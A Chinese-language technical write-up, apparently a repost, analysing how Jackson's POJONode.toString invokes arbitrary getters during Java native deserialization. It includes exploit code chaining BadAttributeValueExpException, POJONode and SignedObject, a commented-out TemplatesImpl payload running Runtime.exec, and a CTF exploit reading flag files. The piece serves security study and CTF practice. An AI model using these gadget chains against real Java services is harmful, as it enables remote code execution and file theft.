jackson原生反序列化触发getter方法的利用与分析
原文:https://xz.aliyun.com/t/12509
首先要知道fastjson也有这个特性:反序列化调用任意类的getter方法的原理与细节
从最开始的fastjson < 1.2.48下的在
JSONObject / JSONArray
类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject
调用JSONObject#toString / JSONArray#toString
方法也即是JSON#toString
方法触发getter再到fastjson >= 1.2.48下的存在有
SecureObjectInputStream
的安全检查的情况下,通过使用HashMap
等等类创建一个reference
的方式绕过resolveClass的检查触发getter
结论
-
jackson的POJONode方法可以任意调用getter
-
jackson序列化会任意调用getter
demo
demo (ObjectMapper.writeValueAsString()可将Jackson对象序列化为字符串,ObjectMapper.readValue()则反序列化)
jacksonTest.java
package com.yancao.ctf.qaq;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class jacksonTest {
public static void main(String[] args) throws JsonProcessingException {
Message message = new Message();
message.setCode(114514);
message.setDetail("thai want to test jackson");
ObjectMapper objectMapper = new ObjectMapper();
String s = objectMapper.writeValueAsString(message);
System.out.println("jackon string: " + s);
}
}
随便写个javaBean
Message.java
package com.yancao.ctf.qaq;
public class Message {
int code;
String detail;
Object data;
public Message() {
}
public void setCode(int code) {
this.code = code;
}
public void setDetail(String detail) {
this.detail = detail;
}
public void setData(Object data) {
this.data = data;
}
public int getCode() {
System.out.println("getCode");
return this.code;
}
public String getDetail() {
System.out.println("getDetail");
return this.detail;
}
public Object getData() {
System.out.println("getData");
return this.data;
}
public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}
public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}
运行一下刚刚的jacksonTest,看看序列化的时候是否调用了javaBean的所有getter方法
验证成功!
分析
jackson自身提供的反序列化->任意调用Getter(待补充)
看一下jackson在使用自身提供的反序列化入口时是怎么导致任意getter调用的
在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString
方法
随便写个demo测试
可以看到调用栈:
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
比较重要的是DefaultSerializerProvider#serializeValue
BeanSerializer#serialize
BeanSerializerBase#serializeFields
try {
for(int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) {
prop.serializeAsField(bean, gen, provider);
}
}
经过调试,这个地方是在遍历getter方法
而最后是能够调用对应属性值的getter方法进行赋值
POJONode#toString->jackson自身提供的反序列化->任意调用Getter
观察网上很多exp,产生一个问题,也就是为什么POJONode类的toString方法能够调用对应类对象的getter方法呢?
POJONode中不存在有toString方法的实现,在其父类(其实是父类的父类)BaseJsonNode
中存在有,因其为一个抽象类,所以选择使用POJONode这个没有实现toString方法的类进行利用
com.fasterxml.jackson.databind.node.BaseJsonNode#toString
public String toString() {
return InternalNodeMapper.nodeToString(this);
}
跟进去
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
public static String nodeToString(JsonNode n) {
try {
return STD_WRITER.writeValueAsString(n);
} catch (IOException var2) {
throw new RuntimeException(var2);
}
}
然后writeValueAsString就是jackson反序列化自带的入口了
在最前的Jackson
的知识点中,提到了在将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString
方法,并详细分析了,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用
也就是说
BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter
exp
// 删除 jsonNode 的 writeReplace,不删除会报错
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
signedObject是需要被你调用getter方法的类
作用
任意调用Getter的作用就是本身,往往用来构造反序列化链
signedObject#getObject
二次反序列化你懂的
参考巅峰极客2023 babyurl
exp
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// clazz.addConstructor(constructor);
// byte[][] bytes = new byte[][]{clazz.toBytecode()};
// TemplatesImpl templates = TemplatesImpl.class.newInstance();
// setValue(templates, "_bytecodes", bytes);
// setValue(templates, "_name", "xx");
// setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
base64encode_exp(val);
templateImpl
参考巅峰极客2023 babyurl 非预期
exp
public static void main(String[] args) throws Exception {
URLHelper urlhelper = new URLHelper("netdoc:///");
// URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
urlhelper.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// clazz.addConstructor(constructor);
// byte[][] bytes = new byte[][]{clazz.toBytecode()};
// TemplatesImpl templates = TemplatesImpl.class.newInstance();
// setValue(templates, "_bytecodes", bytes);
// setValue(templates, "_name", "xx");
// setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
base64encode_exp(val);
}